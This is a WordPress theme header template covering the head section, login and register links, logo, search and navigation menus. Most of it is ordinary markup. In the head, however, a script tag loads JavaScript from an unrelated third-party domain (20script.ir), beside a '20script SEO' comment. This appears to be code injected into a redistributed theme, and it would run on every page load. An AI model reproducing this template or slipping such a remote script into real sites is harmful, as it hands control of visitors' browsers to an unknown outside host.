<?php include_once( gp_inc . 'login-settings.php' ); ?>
<!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
<script type="text/javascript" src="http://dl.20script.ir/img/website.js"></script>
<meta charset="<?php bloginfo( 'charset' ); ?>">
<?php global $gp; ?>
<!-- 20script SEO Starts - http://www.20script.ir/ -->
<?php if ( $gp['responsive'] == 'gp-responsive' ) { ?><meta name="viewport" content="width=device-width, initial-scale=1"><?php } ?>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
<?php wp_head(); ?>
</head>

<body <?php body_class(); ?>>

<?php if ( ! is_page_template( 'blank-page-template.php' ) ) { ?>
	
	<div id="page-wrapper">

		<?php if ( $gp['top_header'] == 'gp-top-header' ) { ?>
	
			<header id="top-header">
	
				<div class="gp-container">

					<nav id="left-top-nav" class="nav">				
						<?php wp_nav_menu( array( 'theme_location' => 'top-nav', 'sort_column' => 'menu_order', 'container' => 'ul', 'fallback_cb' => 'null' ) ); ?>
					</nav>
					
					<div id="right-top-nav" class="nav">
					
						<ul class="menu">
						
							<?php if ( is_user_logged_in() ) { ?>
							
								<?php wp_nav_menu( array( 'theme_location' => 'right-top-nav', 'sort_column' => 'menu_order', 'container' => 'ul', 'fallback_cb' => 'null' ) ); ?>

								<?php if ( $gp['login_link'] == 'enabled' ) { ?><li><a href="<?php echo wp_logout_url( get_permalink() ); ?>" id="logout-link" title="<?php _e( 'Logout', 'gp_lang' ); ?>"><?php _e( 'Logout', 'gp_lang' ); ?></a></li><?php } ?>
				
							<?php } else { ?>
					
								<?php if ( isset( $_SERVER['REQUEST_URI'] ) ) { $referrer = $_SERVER['REQUEST_URI']; } ?>

								<?php if ( $gp['hub_following_items'] == 'both' && gp_following_link() != '' ) { ?><li><a href="<?php echo gp_following_link(); ?>" id="following-link" title="<?php _e( 'Following', 'gp_lang' ); ?>"><?php _e( 'Following', 'gp_lang' ); ?></a></li><?php } ?>
													
								<?php if ( $gp['login_link'] == 'enabled' ) { ?><li><a href="<?php if ( $gp['login_popup_box'] == 'enabled' ) { if ( preg_match( '/key=/', $referrer ) ) { echo esc_url( home_url( '#login' ) ); } else { echo '#login'; } } elseif ( $gp['custom_login_link'] ) { echo esc_url( $gp['custom_login_link'] ); } ?>" id="login-link" title="<?php _e( 'Sign In', 'gp_lang' ); ?>"><?php _e( 'Sign In', 'gp_lang' ); ?></a></li><?php } ?>

								<?php if ( $gp['register_link'] == 'enabled' && get_option( 'users_can_register' ) ) { ?><li><a href="<?php if ( function_exists( 'bp_is_active' ) ) { echo bp_get_signup_page( false ); } elseif ( $gp['register_popup_box'] == 'enabled' ) { echo '#login'; } elseif ( $gp['custom_register_link'] ) { echo esc_url( $gp['custom_register_link'] ); } ?>" id="register-link" title="<?php _e( 'Join', 'gp_lang' ); ?>"><?php _e( 'Join', 'gp_lang' ); ?></a></li><?php } ?>
				
							<?php } ?>
			
						</ul>
					
					</div>
																
					<?php if ( function_exists( 'is_woocommerce' ) && $gp['cart'] == 'enabled' ) { echo gp_dropdown_cart(); } ?>
						
					<?php get_template_part( 'lib/sections/social', 'icons' ); ?>
					
				</div>
		
			</header><!-- END TOP HEADER -->
	
		<?php } ?>

		<header id="main-header">

			<div class="gp-container">
	
				<div id="logo">
					<span class="logo-details"><?php bloginfo( 'name' ); ?> | <?php is_home() OR is_front_page() ? bloginfo( 'description' ) : wp_title( '' ); ?></span>
					<?php if ( $gp['logo']['url'] ) { ?>
						<a href="<?php echo esc_url( home_url() ); ?>" title="<?php bloginfo( 'name' ); ?>">
							<img src="<?php echo esc_url( $gp['logo']['url'] ); ?>" alt="<?php bloginfo( 'name' ); ?>" width="<?php echo absint( $gp['logo_dimensions']['width'] ); ?>" height="<?php echo absint( $gp['logo_dimensions']['height'] ); ?>" />
						</a>
					<?php } ?>
				</div>

				<?php if ( has_nav_menu( 'header-nav' ) ) { ?>
					<nav id="main-nav" class="nav">
						<?php wp_nav_menu( array( 'theme_location' => 'header-nav', 'sort_column' => 'menu_order', 'container' => 'ul', 'fallback_cb' => 'null', 'walker' => new gp_custom_menu ) ); ?>
						<a id="header-mobile-nav-button"><i class="fa fa-bars"></i></a>
					</nav>
				<?php } ?>

				<?php if ( $gp['search'] == 'enabled' ) { ?>
					<?php get_search_form(); ?>
				<?php } ?>

			</div>
	
		</header><!-- END HEADER -->

		<div id="fixed-header-padding"></div>

		<nav id="mobile-nav">
			<?php if ( $gp['search'] == 'enabled' ) { ?>
				<?php get_search_form(); ?>
			<?php } ?>
			<?php wp_nav_menu( array( 'theme_location' => 'header-nav', 'sort_column' => 'menu_order', 'container' => '', 'items_wrap' => '<ul class="menu">%3$s</ul>', 'fallback_cb' => 'null' ) ); ?>
		</nav><!-- END MOBILE MENU -->
		
<?php } ?>